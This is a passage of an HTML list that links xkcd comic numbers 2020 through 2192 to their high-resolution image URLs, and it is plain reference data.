&lt;li>2020: &lt;a href="https://imgs.xkcd.com/comics/negative_results_2x.png">https://imgs.xkcd.com/comics/negative_results_2x.png&lt;/a>&lt;/li>
&lt;li>2021: &lt;a href="https://imgs.xkcd.com/comics/software_development_2x.png">https://imgs.xkcd.com/comics/software_development_2x.png&lt;/a>&lt;/li>
&lt;li>2022: &lt;a href="https://imgs.xkcd.com/comics/sports_champions_2x.png">https://imgs.xkcd.com/comics/sports_champions_2x.png&lt;/a>&lt;/li>
&lt;li>2023: &lt;a href="https://imgs.xkcd.com/comics/y_axis_2x.png">https://imgs.xkcd.com/comics/y_axis_2x.png&lt;/a>&lt;/li>
&lt;li>2024: &lt;a href="https://imgs.xkcd.com/comics/light_hacks_2x.png">https://imgs.xkcd.com/comics/light_hacks_2x.png&lt;/a>&lt;/li>
&lt;li>2025: &lt;a href="https://imgs.xkcd.com/comics/peer_review_2x.png">https://imgs.xkcd.com/comics/peer_review_2x.png&lt;/a>&lt;/li>
&lt;li>2026: &lt;a href="https://imgs.xkcd.com/comics/heat_index_2x.png">https://imgs.xkcd.com/comics/heat_index_2x.png&lt;/a>&lt;/li>
&lt;li>2027: &lt;a href="https://imgs.xkcd.com/comics/lightning_distance_2x.png">https://imgs.xkcd.com/comics/lightning_distance_2x.png&lt;/a>&lt;/li>
&lt;li>2028: &lt;a href="https://imgs.xkcd.com/comics/complex_numbers_2x.png">https://imgs.xkcd.com/comics/complex_numbers_2x.png&lt;/a>&lt;/li>
&lt;li>2029: &lt;a href="https://imgs.xkcd.com/comics/disaster_movie_2x.png">https://imgs.xkcd.com/comics/disaster_movie_2x.png&lt;/a>&lt;/li>
&lt;li>2030: &lt;a href="https://imgs.xkcd.com/comics/voting_software_2x.png">https://imgs.xkcd.com/comics/voting_software_2x.png&lt;/a>&lt;/li>
&lt;li>2031: &lt;a href="https://imgs.xkcd.com/comics/pie_charts_2x.png">https://imgs.xkcd.com/comics/pie_charts_2x.png&lt;/a>&lt;/li>
&lt;li>2032: &lt;a href="https://imgs.xkcd.com/comics/word_puzzles_2x.png">https://imgs.xkcd.com/comics/word_puzzles_2x.png&lt;/a>&lt;/li>
&lt;li>2033: &lt;a href="https://imgs.xkcd.com/comics/repair_or_replace_2x.png">https://imgs.xkcd.com/comics/repair_or_replace_2x.png&lt;/a>&lt;/li>
&lt;li>2034: &lt;a href="https://imgs.xkcd.com/comics/equations_2x.png">https://imgs.xkcd.com/comics/equations_2x.png&lt;/a>&lt;/li>
&lt;li>2035: &lt;a href="https://imgs.xkcd.com/comics/dark_matter_candidates_2x.png">https://imgs.xkcd.com/comics/dark_matter_candidates_2x.png&lt;/a>&lt;/li>
&lt;li>2036: &lt;a href="https://imgs.xkcd.com/comics/edgelord_2x.png">https://imgs.xkcd.com/comics/edgelord_2x.png&lt;/a>&lt;/li>
&lt;li>2037: &lt;a href="https://imgs.xkcd.com/comics/supreme_court_bracket_2x.png">https://imgs.xkcd.com/comics/supreme_court_bracket_2x.png&lt;/a>&lt;/li>
&lt;li>2038: &lt;a href="https://imgs.xkcd.com/comics/hazard_symbol_2x.png">https://imgs.xkcd.com/comics/hazard_symbol_2x.png&lt;/a>&lt;/li>
&lt;li>2039: &lt;a href="https://imgs.xkcd.com/comics/begging_the_question_2x.png">https://imgs.xkcd.com/comics/begging_the_question_2x.png&lt;/a>&lt;/li>
&lt;li>2040: &lt;a href="https://imgs.xkcd.com/comics/sibling_in_law_2x.png">https://imgs.xkcd.com/comics/sibling_in_law_2x.png&lt;/a>&lt;/li>
&lt;li>2041: &lt;a href="https://imgs.xkcd.com/comics/frontiers_2x.png">https://imgs.xkcd.com/comics/frontiers_2x.png&lt;/a>&lt;/li>
&lt;li>2042: &lt;a href="https://imgs.xkcd.com/comics/rolles_theorem_2x.png">https://imgs.xkcd.com/comics/rolles_theorem_2x.png&lt;/a>&lt;/li>
&lt;li>2043: &lt;a href="https://imgs.xkcd.com/comics/boathouses_and_houseboats_2x.png">https://imgs.xkcd.com/comics/boathouses_and_houseboats_2x.png&lt;/a>&lt;/li>
&lt;li>2044: &lt;a href="https://imgs.xkcd.com/comics/sandboxing_cycle_2x.png">https://imgs.xkcd.com/comics/sandboxing_cycle_2x.png&lt;/a>&lt;/li>
&lt;li>2045: &lt;a href="https://imgs.xkcd.com/comics/social_media_announcement_2x.png">https://imgs.xkcd.com/comics/social_media_announcement_2x.png&lt;/a>&lt;/li>
&lt;li>2046: &lt;a href="https://imgs.xkcd.com/comics/trum_2x.png">https://imgs.xkcd.com/comics/trum_2x.png&lt;/a>&lt;/li>
&lt;li>2047: &lt;a href="https://imgs.xkcd.com/comics/beverages_2x.png">https://imgs.xkcd.com/comics/beverages_2x.png&lt;/a>&lt;/li>
&lt;li>2048: &lt;a href="https://imgs.xkcd.com/comics/curve_fitting_2x.png">https://imgs.xkcd.com/comics/curve_fitting_2x.png&lt;/a>&lt;/li>
&lt;li>2049: &lt;a href="https://imgs.xkcd.com/comics/unfulfilling_toys_2x.png">https://imgs.xkcd.com/comics/unfulfilling_toys_2x.png&lt;/a>&lt;/li>
&lt;li>2050: &lt;a href="https://imgs.xkcd.com/comics/6_6_time_2x.png">https://imgs.xkcd.com/comics/6_6_time_2x.png&lt;/a>&lt;/li>
&lt;li>2051: &lt;a href="https://imgs.xkcd.com/comics/bad_opinions_2x.png">https://imgs.xkcd.com/comics/bad_opinions_2x.png&lt;/a>&lt;/li>
&lt;li>2052: &lt;a href="https://imgs.xkcd.com/comics/stanislav_petrov_day_2x.png">https://imgs.xkcd.com/comics/stanislav_petrov_day_2x.png&lt;/a>&lt;/li>
&lt;li>2053: &lt;a href="https://imgs.xkcd.com/comics/incoming_calls_2x.png">https://imgs.xkcd.com/comics/incoming_calls_2x.png&lt;/a>&lt;/li>
&lt;li>2054: &lt;a href="https://imgs.xkcd.com/comics/data_pipeline_2x.png">https://imgs.xkcd.com/comics/data_pipeline_2x.png&lt;/a>&lt;/li>
&lt;li>2055: &lt;a href="https://imgs.xkcd.com/comics/bluetooth_2x.png">https://imgs.xkcd.com/comics/bluetooth_2x.png&lt;/a>&lt;/li>
&lt;li>2056: &lt;a href="https://imgs.xkcd.com/comics/horror_movies_2x.png">https://imgs.xkcd.com/comics/horror_movies_2x.png&lt;/a>&lt;/li>
&lt;li>2057: &lt;a href="https://imgs.xkcd.com/comics/internal_monologues_2x.png">https://imgs.xkcd.com/comics/internal_monologues_2x.png&lt;/a>&lt;/li>
&lt;li>2058: &lt;a href="https://imgs.xkcd.com/comics/rock_wall_2x.png">https://imgs.xkcd.com/comics/rock_wall_2x.png&lt;/a>&lt;/li>
&lt;li>2059: &lt;a href="https://imgs.xkcd.com/comics/modified_bayes_theorem_2x.png">https://imgs.xkcd.com/comics/modified_bayes_theorem_2x.png&lt;/a>&lt;/li>
&lt;li>2060: &lt;a href="https://imgs.xkcd.com/comics/hygrometer_2x.png">https://imgs.xkcd.com/comics/hygrometer_2x.png&lt;/a>&lt;/li>
&lt;li>2061: &lt;a href="https://imgs.xkcd.com/comics/tectonics_game_2x.png">https://imgs.xkcd.com/comics/tectonics_game_2x.png&lt;/a>&lt;/li>
&lt;li>2062: &lt;a href="https://imgs.xkcd.com/comics/barnards_star_2x.png">https://imgs.xkcd.com/comics/barnards_star_2x.png&lt;/a>&lt;/li>
&lt;li>2063: &lt;a href="https://imgs.xkcd.com/comics/carnot_cycle_2x.png">https://imgs.xkcd.com/comics/carnot_cycle_2x.png&lt;/a>&lt;/li>
&lt;li>2064: &lt;a href="https://imgs.xkcd.com/comics/im_a_car_2x.png">https://imgs.xkcd.com/comics/im_a_car_2x.png&lt;/a>&lt;/li>
&lt;li>2065: &lt;a href="https://imgs.xkcd.com/comics/who_sends_the_first_text_2x.png">https://imgs.xkcd.com/comics/who_sends_the_first_text_2x.png&lt;/a>&lt;/li>
&lt;li>2066: &lt;a href="https://imgs.xkcd.com/comics/ballot_selfies_2x.png">https://imgs.xkcd.com/comics/ballot_selfies_2x.png&lt;/a>&lt;/li>
&lt;li>2067: &lt;a href="https://imgs.xkcd.com/comics/challengers_2x.png">https://imgs.xkcd.com/comics/challengers_2x.png&lt;/a>&lt;/li>
&lt;li>2068: &lt;a href="https://imgs.xkcd.com/comics/election_night_2x.png">https://imgs.xkcd.com/comics/election_night_2x.png&lt;/a>&lt;/li>
&lt;li>2069: &lt;a href="https://imgs.xkcd.com/comics/wishlist_2x.png">https://imgs.xkcd.com/comics/wishlist_2x.png&lt;/a>&lt;/li>
&lt;li>2070: &lt;a href="https://imgs.xkcd.com/comics/trig_identities_2x.png">https://imgs.xkcd.com/comics/trig_identities_2x.png&lt;/a>&lt;/li>
&lt;li>2071: &lt;a href="https://imgs.xkcd.com/comics/indirect_detection_2x.png">https://imgs.xkcd.com/comics/indirect_detection_2x.png&lt;/a>&lt;/li>
&lt;li>2072: &lt;a href="https://imgs.xkcd.com/comics/evaluating_tech_things_2x.png">https://imgs.xkcd.com/comics/evaluating_tech_things_2x.png&lt;/a>&lt;/li>
&lt;li>2073: &lt;a href="https://imgs.xkcd.com/comics/kilogram_2x.png">https://imgs.xkcd.com/comics/kilogram_2x.png&lt;/a>&lt;/li>
&lt;li>2074: &lt;a href="https://imgs.xkcd.com/comics/airplanes_and_spaceships_2x.png">https://imgs.xkcd.com/comics/airplanes_and_spaceships_2x.png&lt;/a>&lt;/li>
&lt;li>2075: &lt;a href="https://imgs.xkcd.com/comics/update_your_address_2x.png">https://imgs.xkcd.com/comics/update_your_address_2x.png&lt;/a>&lt;/li>
&lt;li>2076: &lt;a href="https://imgs.xkcd.com/comics/horror_movies_2_2x.png">https://imgs.xkcd.com/comics/horror_movies_2_2x.png&lt;/a>&lt;/li>
&lt;li>2077: &lt;a href="https://imgs.xkcd.com/comics/heist_2x.png">https://imgs.xkcd.com/comics/heist_2x.png&lt;/a>&lt;/li>
&lt;li>2078: &lt;a href="https://imgs.xkcd.com/comics/popper_2x.png">https://imgs.xkcd.com/comics/popper_2x.png&lt;/a>&lt;/li>
&lt;li>2079: &lt;a href="https://imgs.xkcd.com/comics/alpha_centauri_2x.png">https://imgs.xkcd.com/comics/alpha_centauri_2x.png&lt;/a>&lt;/li>
&lt;li>2080: &lt;a href="https://imgs.xkcd.com/comics/cohort_and_age_effects_2x.png">https://imgs.xkcd.com/comics/cohort_and_age_effects_2x.png&lt;/a>&lt;/li>
&lt;li>2081: &lt;a href="https://imgs.xkcd.com/comics/middle_latitudes_2x.png">https://imgs.xkcd.com/comics/middle_latitudes_2x.png&lt;/a>&lt;/li>
&lt;li>2082: &lt;a href="https://imgs.xkcd.com/comics/mercator_projection_2x.png">https://imgs.xkcd.com/comics/mercator_projection_2x.png&lt;/a>&lt;/li>
&lt;li>2083: &lt;a href="https://imgs.xkcd.com/comics/laptop_issues_2x.png">https://imgs.xkcd.com/comics/laptop_issues_2x.png&lt;/a>&lt;/li>
&lt;li>2084: &lt;a href="https://imgs.xkcd.com/comics/fdr_2x.png">https://imgs.xkcd.com/comics/fdr_2x.png&lt;/a>&lt;/li>
&lt;li>2085: &lt;a href="https://imgs.xkcd.com/comics/arxiv_2x.png">https://imgs.xkcd.com/comics/arxiv_2x.png&lt;/a>&lt;/li>
&lt;li>2086: &lt;a href="https://imgs.xkcd.com/comics/history_department_2x.png">https://imgs.xkcd.com/comics/history_department_2x.png&lt;/a>&lt;/li>
&lt;li>2087: &lt;a href="https://imgs.xkcd.com/comics/rocket_launch_2x.png">https://imgs.xkcd.com/comics/rocket_launch_2x.png&lt;/a>&lt;/li>
&lt;li>2088: &lt;a href="https://imgs.xkcd.com/comics/schwarzschilds_cat_2x.png">https://imgs.xkcd.com/comics/schwarzschilds_cat_2x.png&lt;/a>&lt;/li>
&lt;li>2089: &lt;a href="https://imgs.xkcd.com/comics/christmas_eve_eve_2x.png">https://imgs.xkcd.com/comics/christmas_eve_eve_2x.png&lt;/a>&lt;/li>
&lt;li>2090: &lt;a href="https://imgs.xkcd.com/comics/feathered_dinosaur_venn_diagram_2x.png">https://imgs.xkcd.com/comics/feathered_dinosaur_venn_diagram_2x.png&lt;/a>&lt;/li>
&lt;li>2091: &lt;a href="https://imgs.xkcd.com/comics/million_billion_trillion_2x.png">https://imgs.xkcd.com/comics/million_billion_trillion_2x.png&lt;/a>&lt;/li>
&lt;li>2092: &lt;a href="https://imgs.xkcd.com/comics/consensus_new_year_2x.png">https://imgs.xkcd.com/comics/consensus_new_year_2x.png&lt;/a>&lt;/li>
&lt;li>2093: &lt;a href="https://imgs.xkcd.com/comics/reminders_2x.png">https://imgs.xkcd.com/comics/reminders_2x.png&lt;/a>&lt;/li>
&lt;li>2094: &lt;a href="https://imgs.xkcd.com/comics/short_selling_2x.png">https://imgs.xkcd.com/comics/short_selling_2x.png&lt;/a>&lt;/li>
&lt;li>2095: &lt;a href="https://imgs.xkcd.com/comics/marsiforming_2x.png">https://imgs.xkcd.com/comics/marsiforming_2x.png&lt;/a>&lt;/li>
&lt;li>2096: &lt;a href="https://imgs.xkcd.com/comics/mattresses_2x.png">https://imgs.xkcd.com/comics/mattresses_2x.png&lt;/a>&lt;/li>
&lt;li>2097: &lt;a href="https://imgs.xkcd.com/comics/thor_tools_2x.png">https://imgs.xkcd.com/comics/thor_tools_2x.png&lt;/a>&lt;/li>
&lt;li>2098: &lt;a href="https://imgs.xkcd.com/comics/magnetic_pole_2x.png">https://imgs.xkcd.com/comics/magnetic_pole_2x.png&lt;/a>&lt;/li>
&lt;li>2099: &lt;a href="https://imgs.xkcd.com/comics/missal_of_silos_2x.png">https://imgs.xkcd.com/comics/missal_of_silos_2x.png&lt;/a>&lt;/li>
&lt;li>2100: &lt;a href="https://imgs.xkcd.com/comics/models_of_the_atom_2x.png">https://imgs.xkcd.com/comics/models_of_the_atom_2x.png&lt;/a>&lt;/li>
&lt;li>2101: &lt;a href="https://imgs.xkcd.com/comics/technical_analysis_2x.png">https://imgs.xkcd.com/comics/technical_analysis_2x.png&lt;/a>&lt;/li>
&lt;li>2102: &lt;a href="https://imgs.xkcd.com/comics/internet_archive_2x.png">https://imgs.xkcd.com/comics/internet_archive_2x.png&lt;/a>&lt;/li>
&lt;li>2103: &lt;a href="https://imgs.xkcd.com/comics/midcontinent_rift_system_2x.png">https://imgs.xkcd.com/comics/midcontinent_rift_system_2x.png&lt;/a>&lt;/li>
&lt;li>2104: &lt;a href="https://imgs.xkcd.com/comics/biff_tannen_2x.png">https://imgs.xkcd.com/comics/biff_tannen_2x.png&lt;/a>&lt;/li>
&lt;li>2105: &lt;a href="https://imgs.xkcd.com/comics/modern_osi_model_2x.png">https://imgs.xkcd.com/comics/modern_osi_model_2x.png&lt;/a>&lt;/li>
&lt;li>2106: &lt;a href="https://imgs.xkcd.com/comics/sharing_options_2x.png">https://imgs.xkcd.com/comics/sharing_options_2x.png&lt;/a>&lt;/li>
&lt;li>2107: &lt;a href="https://imgs.xkcd.com/comics/launch_risk_2x.png">https://imgs.xkcd.com/comics/launch_risk_2x.png&lt;/a>&lt;/li>
&lt;li>2108: &lt;a href="https://imgs.xkcd.com/comics/carbonated_beverage_language_map_2x.png">https://imgs.xkcd.com/comics/carbonated_beverage_language_map_2x.png&lt;/a>&lt;/li>
&lt;li>2109: &lt;a href="https://imgs.xkcd.com/comics/invisible_formatting_2x.png">https://imgs.xkcd.com/comics/invisible_formatting_2x.png&lt;/a>&lt;/li>
&lt;li>2110: &lt;a href="https://imgs.xkcd.com/comics/error_bars_2x.png">https://imgs.xkcd.com/comics/error_bars_2x.png&lt;/a>&lt;/li>
&lt;li>2111: &lt;a href="https://imgs.xkcd.com/comics/opportunity_rover_2x.png">https://imgs.xkcd.com/comics/opportunity_rover_2x.png&lt;/a>&lt;/li>
&lt;li>2112: &lt;a href="https://imgs.xkcd.com/comics/night_shift_2x.png">https://imgs.xkcd.com/comics/night_shift_2x.png&lt;/a>&lt;/li>
&lt;li>2113: &lt;a href="https://imgs.xkcd.com/comics/physics_suppression_2x.png">https://imgs.xkcd.com/comics/physics_suppression_2x.png&lt;/a>&lt;/li>
&lt;li>2114: &lt;a href="https://imgs.xkcd.com/comics/launch_conditions_2x.png">https://imgs.xkcd.com/comics/launch_conditions_2x.png&lt;/a>&lt;/li>
&lt;li>2115: &lt;a href="https://imgs.xkcd.com/comics/plutonium_2x.png">https://imgs.xkcd.com/comics/plutonium_2x.png&lt;/a>&lt;/li>
&lt;li>2116: &lt;a href="https://imgs.xkcd.com/comics/norm_normal_file_format_2x.png">https://imgs.xkcd.com/comics/norm_normal_file_format_2x.png&lt;/a>&lt;/li>
&lt;li>2117: &lt;a href="https://imgs.xkcd.com/comics/differentiation_and_integration_2x.png">https://imgs.xkcd.com/comics/differentiation_and_integration_2x.png&lt;/a>&lt;/li>
&lt;li>2118: &lt;a href="https://imgs.xkcd.com/comics/normal_distribution_2x.png">https://imgs.xkcd.com/comics/normal_distribution_2x.png&lt;/a>&lt;/li>
&lt;li>2119: &lt;a href="https://imgs.xkcd.com/comics/video_orientation_2x.png">https://imgs.xkcd.com/comics/video_orientation_2x.png&lt;/a>&lt;/li>
&lt;li>2120: &lt;a href="https://imgs.xkcd.com/comics/brain_hemispheres_2x.png">https://imgs.xkcd.com/comics/brain_hemispheres_2x.png&lt;/a>&lt;/li>
&lt;li>2121: &lt;a href="https://imgs.xkcd.com/comics/light_pollution_2x.png">https://imgs.xkcd.com/comics/light_pollution_2x.png&lt;/a>&lt;/li>
&lt;li>2122: &lt;a href="https://imgs.xkcd.com/comics/size_venn_diagram_2x.png">https://imgs.xkcd.com/comics/size_venn_diagram_2x.png&lt;/a>&lt;/li>
&lt;li>2123: &lt;a href="https://imgs.xkcd.com/comics/meta_collecting_2x.png">https://imgs.xkcd.com/comics/meta_collecting_2x.png&lt;/a>&lt;/li>
&lt;li>2124: &lt;a href="https://imgs.xkcd.com/comics/space_mission_hearing_2x.png">https://imgs.xkcd.com/comics/space_mission_hearing_2x.png&lt;/a>&lt;/li>
&lt;li>2125: &lt;a href="https://imgs.xkcd.com/comics/luna_2_2x.png">https://imgs.xkcd.com/comics/luna_2_2x.png&lt;/a>&lt;/li>
&lt;li>2126: &lt;a href="https://imgs.xkcd.com/comics/google_trends_maps_2x.png">https://imgs.xkcd.com/comics/google_trends_maps_2x.png&lt;/a>&lt;/li>
&lt;li>2127: &lt;a href="https://imgs.xkcd.com/comics/panama_canal_2x.png">https://imgs.xkcd.com/comics/panama_canal_2x.png&lt;/a>&lt;/li>
&lt;li>2128: &lt;a href="https://imgs.xkcd.com/comics/new_robot_2x.png">https://imgs.xkcd.com/comics/new_robot_2x.png&lt;/a>&lt;/li>
&lt;li>2129: &lt;a href="https://imgs.xkcd.com/comics/1921_fact_checker_2x.png">https://imgs.xkcd.com/comics/1921_fact_checker_2x.png&lt;/a>&lt;/li>
&lt;li>2130: &lt;a href="https://imgs.xkcd.com/comics/industry_nicknames_2x.png">https://imgs.xkcd.com/comics/industry_nicknames_2x.png&lt;/a>&lt;/li>
&lt;li>2131: &lt;a href="https://imgs.xkcd.com/comics/emojidome_2x.png">https://imgs.xkcd.com/comics/emojidome_2x.png&lt;/a>&lt;/li>
&lt;li>2132: &lt;a href="https://imgs.xkcd.com/comics/percentage_styles_2x.png">https://imgs.xkcd.com/comics/percentage_styles_2x.png&lt;/a>&lt;/li>
&lt;li>2133: &lt;a href="https://imgs.xkcd.com/comics/eht_black_hole_picture_2x.png">https://imgs.xkcd.com/comics/eht_black_hole_picture_2x.png&lt;/a>&lt;/li>
&lt;li>2134: &lt;a href="https://imgs.xkcd.com/comics/too_much_talking_2x.png">https://imgs.xkcd.com/comics/too_much_talking_2x.png&lt;/a>&lt;/li>
&lt;li>2135: &lt;a href="https://imgs.xkcd.com/comics/m87_black_hole_size_comparison_2x.png">https://imgs.xkcd.com/comics/m87_black_hole_size_comparison_2x.png&lt;/a>&lt;/li>
&lt;li>2136: &lt;a href="https://imgs.xkcd.com/comics/election_commentary_2x.png">https://imgs.xkcd.com/comics/election_commentary_2x.png&lt;/a>&lt;/li>
&lt;li>2137: &lt;a href="https://imgs.xkcd.com/comics/text_entry_2x.png">https://imgs.xkcd.com/comics/text_entry_2x.png&lt;/a>&lt;/li>
&lt;li>2138: &lt;a href="https://imgs.xkcd.com/comics/wanna_see_the_code_2x.png">https://imgs.xkcd.com/comics/wanna_see_the_code_2x.png&lt;/a>&lt;/li>
&lt;li>2139: &lt;a href="https://imgs.xkcd.com/comics/email_settings_2x.png">https://imgs.xkcd.com/comics/email_settings_2x.png&lt;/a>&lt;/li>
&lt;li>2140: &lt;a href="https://imgs.xkcd.com/comics/reinvent_the_wheel_2x.png">https://imgs.xkcd.com/comics/reinvent_the_wheel_2x.png&lt;/a>&lt;/li>
&lt;li>2141: &lt;a href="https://imgs.xkcd.com/comics/ui_vs_ux_2x.png">https://imgs.xkcd.com/comics/ui_vs_ux_2x.png&lt;/a>&lt;/li>
&lt;li>2142: &lt;a href="https://imgs.xkcd.com/comics/dangerous_fields_2x.png">https://imgs.xkcd.com/comics/dangerous_fields_2x.png&lt;/a>&lt;/li>
&lt;li>2143: &lt;a href="https://imgs.xkcd.com/comics/disk_usage_2x.png">https://imgs.xkcd.com/comics/disk_usage_2x.png&lt;/a>&lt;/li>
&lt;li>2144: &lt;a href="https://imgs.xkcd.com/comics/adjusting_a_chair_2x.png">https://imgs.xkcd.com/comics/adjusting_a_chair_2x.png&lt;/a>&lt;/li>
&lt;li>2145: &lt;a href="https://imgs.xkcd.com/comics/heists_and_escapes_2x.png">https://imgs.xkcd.com/comics/heists_and_escapes_2x.png&lt;/a>&lt;/li>
&lt;li>2146: &lt;a href="https://imgs.xkcd.com/comics/waiting_for_the_but_2x.png">https://imgs.xkcd.com/comics/waiting_for_the_but_2x.png&lt;/a>&lt;/li>
&lt;li>2147: &lt;a href="https://imgs.xkcd.com/comics/appendicitis_2x.png">https://imgs.xkcd.com/comics/appendicitis_2x.png&lt;/a>&lt;/li>
&lt;li>2148: &lt;a href="https://imgs.xkcd.com/comics/cubesat_launch_2x.png">https://imgs.xkcd.com/comics/cubesat_launch_2x.png&lt;/a>&lt;/li>
&lt;li>2149: &lt;a href="https://imgs.xkcd.com/comics/alternate_histories_2x.png">https://imgs.xkcd.com/comics/alternate_histories_2x.png&lt;/a>&lt;/li>
&lt;li>2150: &lt;a href="https://imgs.xkcd.com/comics/xkeyboarcd_2x.png">https://imgs.xkcd.com/comics/xkeyboarcd_2x.png&lt;/a>&lt;/li>
&lt;li>2151: &lt;a href="https://imgs.xkcd.com/comics/a_b_2x.png">https://imgs.xkcd.com/comics/a_b_2x.png&lt;/a>&lt;/li>
&lt;li>2152: &lt;a href="https://imgs.xkcd.com/comics/westerns_2x.png">https://imgs.xkcd.com/comics/westerns_2x.png&lt;/a>&lt;/li>
&lt;li>2153: &lt;a href="https://imgs.xkcd.com/comics/effects_of_high_altitude_2x.png">https://imgs.xkcd.com/comics/effects_of_high_altitude_2x.png&lt;/a>&lt;/li>
&lt;li>2154: &lt;a href="https://imgs.xkcd.com/comics/motivation_2x.png">https://imgs.xkcd.com/comics/motivation_2x.png&lt;/a>&lt;/li>
&lt;li>2155: &lt;a href="https://imgs.xkcd.com/comics/swimming_2x.png">https://imgs.xkcd.com/comics/swimming_2x.png&lt;/a>&lt;/li>
&lt;li>2156: &lt;a href="https://imgs.xkcd.com/comics/ufo_2x.png">https://imgs.xkcd.com/comics/ufo_2x.png&lt;/a>&lt;/li>
&lt;li>2157: &lt;a href="https://imgs.xkcd.com/comics/diploma_legal_notes_2x.png">https://imgs.xkcd.com/comics/diploma_legal_notes_2x.png&lt;/a>&lt;/li>
&lt;li>2158: &lt;a href="https://imgs.xkcd.com/comics/qualifiers_2x.png">https://imgs.xkcd.com/comics/qualifiers_2x.png&lt;/a>&lt;/li>
&lt;li>2159: &lt;a href="https://imgs.xkcd.com/comics/comments_2x.png">https://imgs.xkcd.com/comics/comments_2x.png&lt;/a>&lt;/li>
&lt;li>2160: &lt;a href="https://imgs.xkcd.com/comics/ken_burns_theory_2x.png">https://imgs.xkcd.com/comics/ken_burns_theory_2x.png&lt;/a>&lt;/li>
&lt;li>2161: &lt;a href="https://imgs.xkcd.com/comics/an_apple_a_day_2x.png">https://imgs.xkcd.com/comics/an_apple_a_day_2x.png&lt;/a>&lt;/li>
&lt;li>2162: &lt;a href="https://imgs.xkcd.com/comics/literary_opinions_2x.png">https://imgs.xkcd.com/comics/literary_opinions_2x.png&lt;/a>&lt;/li>
&lt;li>2163: &lt;a href="https://imgs.xkcd.com/comics/chernobyl_2x.png">https://imgs.xkcd.com/comics/chernobyl_2x.png&lt;/a>&lt;/li>
&lt;li>2164: &lt;a href="https://imgs.xkcd.com/comics/glacier_2x.png">https://imgs.xkcd.com/comics/glacier_2x.png&lt;/a>&lt;/li>
&lt;li>2165: &lt;a href="https://imgs.xkcd.com/comics/millennials_2x.png">https://imgs.xkcd.com/comics/millennials_2x.png&lt;/a>&lt;/li>
&lt;li>2166: &lt;a href="https://imgs.xkcd.com/comics/stack_2x.png">https://imgs.xkcd.com/comics/stack_2x.png&lt;/a>&lt;/li>
&lt;li>2167: &lt;a href="https://imgs.xkcd.com/comics/motivated_reasoning_olympics_2x.png">https://imgs.xkcd.com/comics/motivated_reasoning_olympics_2x.png&lt;/a>&lt;/li>
&lt;li>2168: &lt;a href="https://imgs.xkcd.com/comics/reading_in_the_original_2x.png">https://imgs.xkcd.com/comics/reading_in_the_original_2x.png&lt;/a>&lt;/li>
&lt;li>2169: &lt;a href="https://imgs.xkcd.com/comics/predictive_models_2x.png">https://imgs.xkcd.com/comics/predictive_models_2x.png&lt;/a>&lt;/li>
&lt;li>2170: &lt;a href="https://imgs.xkcd.com/comics/coordinate_precision_2x.png">https://imgs.xkcd.com/comics/coordinate_precision_2x.png&lt;/a>&lt;/li>
&lt;li>2171: &lt;a href="https://imgs.xkcd.com/comics/shadow_biosphere_2x.png">https://imgs.xkcd.com/comics/shadow_biosphere_2x.png&lt;/a>&lt;/li>
&lt;li>2172: &lt;a href="https://imgs.xkcd.com/comics/lunar_cycles_2x.png">https://imgs.xkcd.com/comics/lunar_cycles_2x.png&lt;/a>&lt;/li>
&lt;li>2173: &lt;a href="https://imgs.xkcd.com/comics/trained_a_neural_net_2x.png">https://imgs.xkcd.com/comics/trained_a_neural_net_2x.png&lt;/a>&lt;/li>
&lt;li>2174: &lt;a href="https://imgs.xkcd.com/comics/first_news_memory_2x.png">https://imgs.xkcd.com/comics/first_news_memory_2x.png&lt;/a>&lt;/li>
&lt;li>2175: &lt;a href="https://imgs.xkcd.com/comics/flag_interpretation_2x.png">https://imgs.xkcd.com/comics/flag_interpretation_2x.png&lt;/a>&lt;/li>
&lt;li>2176: &lt;a href="https://imgs.xkcd.com/comics/how_hacking_works_2x.png">https://imgs.xkcd.com/comics/how_hacking_works_2x.png&lt;/a>&lt;/li>
&lt;li>2177: &lt;a href="https://imgs.xkcd.com/comics/gastroenterology_2x.png">https://imgs.xkcd.com/comics/gastroenterology_2x.png&lt;/a>&lt;/li>
&lt;li>2178: &lt;a href="https://imgs.xkcd.com/comics/expiration_date_high_score_2x.png">https://imgs.xkcd.com/comics/expiration_date_high_score_2x.png&lt;/a>&lt;/li>
&lt;li>2179: &lt;a href="https://imgs.xkcd.com/comics/nws_warnings_2x.png">https://imgs.xkcd.com/comics/nws_warnings_2x.png&lt;/a>&lt;/li>
&lt;li>2180: &lt;a href="https://imgs.xkcd.com/comics/spreadsheets_2x.png">https://imgs.xkcd.com/comics/spreadsheets_2x.png&lt;/a>&lt;/li>
&lt;li>2181: &lt;a href="https://imgs.xkcd.com/comics/inbox_2x.png">https://imgs.xkcd.com/comics/inbox_2x.png&lt;/a>&lt;/li>
&lt;li>2182: &lt;a href="https://imgs.xkcd.com/comics/when_im_back_at_a_keyboard_2x.png">https://imgs.xkcd.com/comics/when_im_back_at_a_keyboard_2x.png&lt;/a>&lt;/li>
&lt;li>2183: &lt;a href="https://imgs.xkcd.com/comics/icon_swap_2x.png">https://imgs.xkcd.com/comics/icon_swap_2x.png&lt;/a>&lt;/li>
&lt;li>2184: &lt;a href="https://imgs.xkcd.com/comics/unpopular_opinions_2x.png">https://imgs.xkcd.com/comics/unpopular_opinions_2x.png&lt;/a>&lt;/li>
&lt;li>2185: &lt;a href="https://imgs.xkcd.com/comics/cumulonimbus_2x.png">https://imgs.xkcd.com/comics/cumulonimbus_2x.png&lt;/a>&lt;/li>
&lt;li>2186: &lt;a href="https://imgs.xkcd.com/comics/dark_matter_2x.png">https://imgs.xkcd.com/comics/dark_matter_2x.png&lt;/a>&lt;/li>
&lt;li>2187: &lt;a href="https://imgs.xkcd.com/comics/geologic_time_2x.png">https://imgs.xkcd.com/comics/geologic_time_2x.png&lt;/a>&lt;/li>
&lt;li>2188: &lt;a href="https://imgs.xkcd.com/comics/e_scooters_2x.png">https://imgs.xkcd.com/comics/e_scooters_2x.png&lt;/a>&lt;/li>
&lt;li>2189: &lt;a href="https://imgs.xkcd.com/comics/old_game_worlds_2x.png">https://imgs.xkcd.com/comics/old_game_worlds_2x.png&lt;/a>&lt;/li>
&lt;li>2190: &lt;a href="https://imgs.xkcd.com/comics/serena_versus_the_drones_2x.png">https://imgs.xkcd.com/comics/serena_versus_the_drones_2x.png&lt;/a>&lt;/li>
&lt;li>2191: &lt;a href="https://imgs.xkcd.com/comics/conference_question_2x.png">https://imgs.xkcd.com/comics/conference_question_2x.png&lt;/a>&lt;/li>
&lt;li>2192: &lt;a href="https://imgs.xkcd.com/comics/review_2x.png">https://imgs.xkcd.com/comics/review_2x.png&lt;/a>&lt;/li>
